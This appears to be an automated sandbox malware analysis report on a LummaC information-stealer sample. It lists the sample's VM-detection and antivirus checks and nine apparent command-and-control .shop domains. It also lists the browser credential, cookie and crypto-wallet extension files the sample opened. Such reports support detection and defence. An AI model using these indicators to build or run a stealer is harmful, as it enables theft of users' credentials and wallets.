Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\LwnI84BBtb.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\LwnI84BBtb.exe TID: 7412	Thread sleep time: -150000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe TID: 7432	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Comms	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Packages	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\CEF	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Mozilla	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\PeerDistRepub	Jump to behavior

Source: Amcache.hve.3.dr	Binary or memory string: VMware
Source: Amcache.hve.3.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.3.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.3.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.3.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.3.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.3.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.3.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: LwnI84BBtb.exe, 00000000.00000002.1921447777.0000000001A7C000.00000004.00000020.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000002.1921447777.0000000001AB7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.3.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.3.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.3.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.3.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.3.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.3.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.3.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.3.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.3.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.3.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.3.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.3.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.3.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.3.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.3.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.3.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.3.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.3.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.3.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.3.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.3.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\LwnI84BBtb.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\LwnI84BBtb.exe

Code function: 0_2_00435C40 LdrInitializeThunk,

0_2_00435C40

Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 0_2_01A4EEA3 push dword ptr fs:[00000030h]	0_2_01A4EEA3
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 0_2_0365092B mov eax, dword ptr fs:[00000030h]	0_2_0365092B
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Code function: 0_2_03650D90 mov eax, dword ptr fs:[00000030h]	0_2_03650D90

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: LwnI84BBtb.exe	String found in binary or memory: demonstationfukewko.shop
Source: LwnI84BBtb.exe	String found in binary or memory: liabilitynighstjsko.shop
Source: LwnI84BBtb.exe	String found in binary or memory: alcojoldwograpciw.shop
Source: LwnI84BBtb.exe	String found in binary or memory: incredibleextedwj.shop
Source: LwnI84BBtb.exe	String found in binary or memory: shortsvelventysjo.shop
Source: LwnI84BBtb.exe	String found in binary or memory: shatterbreathepsw.shop
Source: LwnI84BBtb.exe	String found in binary or memory: tolerateilusidjukl.shop
Source: LwnI84BBtb.exe	String found in binary or memory: productivelookewr.shop
Source: LwnI84BBtb.exe	String found in binary or memory: strollheavengwu.shop

Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\LwnI84BBtb.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.3.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.3.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.3.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: LwnI84BBtb.exe, 00000000.00000002.1921447777.0000000001AB7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: les%\Windows Defender\MsMpeng.exe
Source: LwnI84BBtb.exe, 00000000.00000003.1752823927.0000000004212000.00000004.00000800.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000003.1733500027.0000000004212000.00000004.00000800.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000003.1736966432.0000000004212000.00000004.00000800.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000003.1752912015.0000000004214000.00000004.00000800.00020000.00000000.sdmp, LwnI84BBtb.exe, 00000000.00000002.1922024465.0000000004215000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: Amcache.hve.3.dr	Binary or memory string: MsMpEng.exe

Source: C:\Users\user\Desktop\LwnI84BBtb.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: LwnI84BBtb.exe, 00000000.00000002.1921447777.0000000001AB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets
Source: LwnI84BBtb.exe, 00000000.00000002.1921447777.0000000001B0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: .json", "window-state.json"],
Source: LwnI84BBtb.exe, 00000000.00000002.1921447777.0000000001B0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: LwnI84BBtb.exe, 00000000.00000002.1921447777.0000000001AB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: LwnI84BBtb.exe, 00000000.00000002.1921447777.0000000001B0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: LwnI84BBtb.exe, 00000000.00000002.1921447777.0000000001AB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: LwnI84BBtb.exe, 00000000.00000002.1921447777.0000000001B0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: LwnI84BBtb.exe, 00000000.00000002.1921447777.0000000001B0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\LwnI84BBtb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
